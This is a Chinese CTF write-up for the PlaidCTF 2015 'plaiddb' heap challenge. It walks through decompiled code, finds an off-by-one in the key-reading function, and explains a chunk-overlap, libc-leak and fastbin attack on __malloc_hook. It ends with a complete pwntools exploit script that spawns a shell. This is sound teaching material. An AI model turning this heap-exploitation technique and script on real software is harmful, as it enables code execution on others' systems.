[off-by-one]–plaidctf 2015 plaiddb 前言 这个题做了很久,太累了,放暑假还是没得在学校学习效率高,不是不想学就是有其他的事情,准备做完这些堆题,开始转为re为主了,还是感觉PWN没什么钱途呀。
分析 1 2 3 4 5 6 7 8 [!] Could not populate PLT: invalid syntax (unicorn.py, line 110 ) [*] '/ctf/work/off_by_one/PLAiDB/PlaidDB' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: '/tmp/ld-2.23.so'
不是很妙,因为防护全开了,但不是很影响,这些防护基本上只能防护防护栈溢出,对于堆溢出基本没什么用。
tips
这里有个小知识点,因为这个这个漏洞需要用到一些基于lib2.23的性质,后面的2.23以后的glibc中有tache的存在,于是我们需要用patchelf工具来替换文件的so文件
具体的命令如下,因为我用的是现成的pwndocker来做的,docker中本身就自带各种so文件,于是我可以直接用,https://github.com/coke-pwn/pwndocker.git这是该docker的下载地址,如何配置我这里就不再介绍了。
1 2 3 cp /glibc/2.23 /64 /lib/ld-2.23 .so /tmp/ld-2.23 .so patchelf --set -interpreter /tmp/ld-2.23 .so ./test LD_PRELOAD=./libc.so.6 ./test
运行完命令后,用ldd来查看一下是否修改成功,可以看到以及修改成功了。
1 2 3 4 root@74f 21669baa4:/ctf/work/off_by_one/PLAiDB # ldd PlaidDB linux-vdso.so.1 (0x00007fff23bf0000 ) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f430526b000 ) /tmp/ld-2.23 .so => /lib64/ld-linux-x86-64. so.2 (0x00007f430567a000 )
漏洞分析 开始分析逆向后的文件,如果你还没有分析一次的话,建议先自己去分析一遍,不太懂的地方再回来看看文章。
从main函数开始 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 void __fastcall __noreturn main (int a1, char **a2, char **a3) { _QWORD *v3; _QWORD *v4; char *v5; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); v3 = malloc (0x38 uLL); v4 = malloc (8uLL ); if ( v4 ) *v4 = 'g4lf3ht' ; *v3 = v4; v5 = (char *)malloc (9uLL ); if ( v5 ) strcpy (v5, "youwish\n" ); v3[2 ] = v5; v3[1 ] = 8LL ; two_x(v3); puts ("INFO: Welcome to the PlaidDB data storage service." ); puts ("INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT" ); while ( 1 ) main1(); }
部分函数我已经重新命名了,可以看到main函数先是申请了三个空间,一个地址空间存储的g4lf3ht一个存储的youwish,最后一个0x38大小的空间存储了前两个空间的地址和一个数字。结合题目,我们可以分析出来这个就是一个key-value的数据库,two_x函数对于我来说还是太复杂了,其他师傅分析出来是v3空间里面写入一个二叉树的结构体,是用来寻值的时候用的。
然后main1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 unsigned __int64 sub_1A20 () { bool v0; const char *v1; __int64 flag; char *v3; const char *v4; __int64 v5; char *v6; const char *v7; __int64 v8; char *v9; const char *v10; __int64 v11; char *v12; const char *v13; __int64 v14; char *v15; char v17[8 ]; unsigned __int64 v18; v18 = __readfsqword(0x28 u); puts ("PROMPT: Enter command:" ); gets(v17, 8LL ); v1 = "GET\n" ; flag = 5LL ; v3 = v17; do { if ( !flag ) break ; v0 = *v3++ == *v1++; --flag; } while ( v0 ); if ( v0 ) { GET(v1, v3); } else { v4 = "PUT\n" ; v5 = 5LL ; v6 = v17; do { if ( !v5 ) break ; v0 = *v6++ == *v4++; --v5; } while ( v0 ); if ( v0 ) { PUT(v4, v6); } else { v7 = "DUMP\n" ; v8 = 6LL ; v9 = v17; do { if ( !v8 ) break ; v0 = *v9++ == *v7++; --v8; } while ( v0 ); if ( v0 ) { DUMP(v7, v9); } else { v10 = "DEL\n" ; v11 = 5LL ; v12 = v17; do { if ( !v11 ) break ; v0 = *v12++ == *v10++; --v11; } while ( v0 ); if ( v0 ) { DEL(v10, v12); } else { v13 = "EXIT\n" ; v14 = 6LL ; v15 = v17; do { if ( !v14 ) break ; v0 = *v15++ == *v13++; --v14; } while ( v0 ); if ( v0 ) Goodbye(v13, v15); __printf_chk(1LL , "ERROR: '%s' is not a valid command.\n" , v17); } } } } return __readfsqword(0x28 u) ^ v18; }
main1函数就是读取一个输入,然后再根据不同的输入来进入相应的函数,分别是PUT,GET,DUMP,DEL,EXIT,PUT函数是用来读取一个key-value的数据进入数据库,GET是从数据库中根据key来读取value,DUMP是输出所有的key-value数据,EXIT就是退出数据库。
PUT函数 因为PUT函数是输入的函数,是比较重要的函数,我们先分析,这种函数一般也是出现漏洞比较多的函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 void sub_1240 () { void **stuct; unsigned __int64 v1; void *v2; __int64 v3; char v4[24 ]; unsigned __int64 v5; v5 = __readfsqword(40u ); stuct = (void **)malloc (0x38 uLL); if ( !stuct ) { puts ("FATAL: Can't allocate a row" ); exit (-1 ); } puts ("PROMPT: Enter row key:" ); *stuct = getkey(); puts ("PROMPT: Enter data size:" ); gets(v4, 16LL ); v1 = strtoul(v4, 0LL , '\0' ); stuct[1 ] = (void *)v1; v2 = malloc (v1); stuct[2 ] = v2; if ( v2 ) { puts ("PROMPT: Enter data:" ); fread_1(stuct[2 ], (size_t )stuct[1 ]); v3 = two_x(stuct); if ( v3 ) { free (*stuct); free (*(void **)(v3 + 16 )); *(_QWORD *)(v3 + 8 ) = stuct[1 ]; *(_QWORD *)(v3 + 16 ) = stuct[2 ]; free (stuct); puts ("INFO: Update successful." ); } else { puts ("INFO: Insert successful." ); } } else { puts ("ERROR: Can't store that much data." ); free (*stuct); free (stuct); } }
看完函数其实就是,读取key,读取size,再读取value,然后分别将key-size-value输入到结构体中去,结构体中还存在一个二叉树。具体的结构体如下:
1 2 3 4 5 6 7 8 9 struct Node { char *key; long data_size; char *data; struct Node *left ; struct Node *right ; long dummy; long dummy1; }
然后我们发现在读取key的时候,作者自己实现了一个读取输入的函数getkey,于是我们去看看该函数
getkey(漏洞函数) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 char *getkey () { char *memory_1; char *memory_1_copy; size_t real_memory; char IO_char; char IO_char_copy; __int64 subtract_between; char *realloc_1; memory_1 = (char *)malloc (8uLL ); memory_1_copy = memory_1; real_memory = malloc_usable_size(memory_1); while ( 1 ) { IO_char = _IO_getc(stdin ); IO_char_copy = IO_char; if ( IO_char == -1 ) Goodbye(); if ( IO_char == '\n' ) break ; subtract_between = memory_1_copy - memory_1; if ( real_memory <= memory_1_copy - memory_1 ) { realloc_1 = (char *)realloc (memory_1, 2 * real_memory); memory_1 = realloc_1; if ( !realloc_1 ) { puts ("FATAL: Out of memory" ); exit (-1 ); } memory_1_copy = &realloc_1[subtract_between]; real_memory = malloc_usable_size(realloc_1); } *memory_1_copy++ = IO_char_copy; } *memory_1_copy = '\0' ; return memory_1; }
通读完源代码,发现在最后面对将从_IO_getc函数读取的字符赋值给申请的空间上的时候存在判断错误。函数的漏洞点位于0X1040处, 用于获取键值,当输入换行符时,会将其替换成 null 字节,如果输入长度为 chunk usable size 且最后一个字节为换行符的字符串,则会触发 off-by-one。就会将下一个chunk的size更改。
关键的漏洞函数已经分析完了,剩下的函数分不分析都差不多了。
漏洞利用分析 漏洞的位置在功能分析中已经指出来了,在 getline
当中,但是这个函数比较特殊的地方在于,它所分配的大小是逐渐增大的,通过可用大小乘二的方式增大,使用了 realloc
,也就是说,我们想要触发这个漏洞,就需要满足特定大小的要求。
根据分配过程,满足的大小有:
0x18
0x38
0x78
0xf8
0x1f8
…
这些大小都可以触发溢出。
现在我们就需要知道我们需要采用的具体利用方法了。首先 off-by-one
漏洞可以造成堆交叉,可以造成 libc 地址泄露,之后所要采用的利用方法,由于已经存在堆交叉,也就是可以形成 UAF ,可以使用 UAF 的常用方法。
UAF 漏洞最简单的方法当然是 fastbin attack 了,所以我采用了 fastbin attack。
到这里,我们就可以开始思考如何形成我们所需要的利用条件。off-by-one
最终的效果是可以将一个释放状态的 smallbin chunk 或是 unsortedbin chunk 一直到被溢出 chunk 合并成一个大 chunk。也就是说:
1 2 3 4 5 6 7 8 9 +------------+ | | <-- free 的 unsortedbin 或是 smallbin chunk (因为此时 fd 和 bk 指向合法指针,才能够进行 unlink) +------------+ | ... | <-- 任意 chunk +------------+ | | <-- 进行溢出的 chunk +------------+ | vuln | <-- 被溢出的 chunk,大小为 0x_00 (例如 0x100, 0x200……) +------------+
在 off-by-one
利用后,以上出现的 chunk 都将被合并为一个释放状态的 chunk。这样中间任意 chunk 的位置如果是已被分配的,就可以造成 overlap 了。
按照我们的利用思路,结合题目 getline
函数通过 malloc(8)
再 realloc
的分配方式,我们需要:
任意 chunk 位置至少有一个已经被分配,且可以读出数据的 chunk 来泄露 libc 地址
进行溢出的 chunk 需要在最上方的 chunk 之前被分配,否则 malloc(8)
的时候会分配到最上方而不是进行溢出 chunk 应在的位置
任意 chunk 位置至少还需要有一个已经被释放,且 size 为 0x71 的 chunk 来进行 fastbin attack
所有 chunk 不应该被合并进 top,所以最下方应该有一个已经分配的 chunk 保证与 top chunk 的距离
进行溢出的 chunk 大小应该属于 unsortedbin 或是 smallbin,不能为 fastbin,否则被释放之后,按照 getline
的分配方式,malloc(8)
无法分配在该位置
按照以上原则,我们可以思考出 chunk 的分布如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 +------------+ | 1 | <-- free 的 size == 0x200 chunk +------------+ | 2 | <-- size == 0x60 fastbin chunk,已被分配,且可以读出数据 +------------+ | 5 | <-- size == 0x71 fastbin chunk,为 fastbin attack 做准备 +------------+ | 3 | <-- size == 0x1f8 free 状态的 smallbin/unsortedbin chunk +------------+ | 4 | <-- size == 0x101 被溢出 chunk +------------+ | X | <-- 任意分配后 chunk 防止 top 合并 +------------+
由于分配过程还有一些额外结构(结构体本身的分配和 getline
),我们需要先释放出足够的 fastbin chunk 来避免结构体本身的分配对我们的过程造成影响。
在此之后,依次释放掉 5, 3, 1, 之后利用 del
输入时候的 getline
,将 3 填满,造成 off-by-one
,之后将 4 free
掉进行合并(伪造 prev_size
),这样就有了一个交叉的堆结构了。
之后的过程就更加简单了,首先分配 1 的大小,使得 libc 地址被写到 2 里,就可以泄露出地址,然后将 5 分配出来,写入需要的内容,就可以 fastbin attack 了。
exploit¶ 由于原 libc 为 2.19 版本,加载有一些奇怪的问题,较为麻烦,而本题没有用到 2.19 独有的特性,所以我采用了 2.23 的 libc 进行调试,版本为 ubuntu10。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 import sysimport osimport os.pathfrom pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) if len (sys.argv) > 2 : DEBUG = 0 HOST = sys.argv[1 ] PORT = int (sys.argv[2 ]) p = remote(HOST, PORT) else : DEBUG = 1 if len (sys.argv) == 2 : PATH = sys.argv[1 ] p = process(PATH) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def cmd (command_num ): p.recvuntil('command:' ) p.sendline(str (command_num)) def put (key, size, data ): cmd('PUT' ) p.recvuntil('key:' ) p.sendline(key) p.recvuntil('size:' ) p.sendline(str (size)) p.recvuntil('data:' ) if len (data) < size: p.send(data.ljust(size, '\x00' )) else : p.send(data) def delete (key ): cmd('DEL' ) p.recvuntil('key:' ) p.sendline(key) def get (key ): cmd('GET' ) p.recvuntil('key:' ) p.sendline(key) p.recvuntil('[' ) num = int (p.recvuntil(' bytes' ).strip(' bytes' )) p.recvuntil(':\n' ) return p.recv(num) def main (): for i in range (10 ): put(str (i), 0x38 , str (i)) for i in range (10 ): delete(str (i)) put('1' , 0x200 , '1' ) put('2' , 0x50 , '2' ) put('5' , 0x68 , '6' ) put('3' , 0x1f8 , '3' ) put('4' , 0xf0 , '4' ) put('defense' , 0x400 , 'defense-data' ) delete('5' ) delete('3' ) delete('1' ) delete('a' * 0x1f0 + p64(0x4e0 )) delete('4' ) put('0x200' , 0x200 , 'fillup' ) put('0x200 fillup' , 0x200 , 'fillup again' ) libc_leak = u64(get('2' )[:6 ].ljust(8 , '\x00' )) p.info('libc leak: 0x%x' % libc_leak) libc_base = libc_leak - 0x3c4b78 p.info('libc_base: 0x%x' % libc_base) put('fastatk' , 0x100 , 'a' * 0x58 + p64(0x71 ) + p64(libc_base + libc.symbols['__malloc_hook' ] - 0x10 + 5 - 8 )) put('prepare' , 0x68 , 'prepare data' ) one_gadget = libc_base + 0x4526a put('attack' , 0x68 , 'a' * 3 + p64(one_gadget)) p.sendline('DEL' ) p.interactive() if __name__ == '__main__' : main()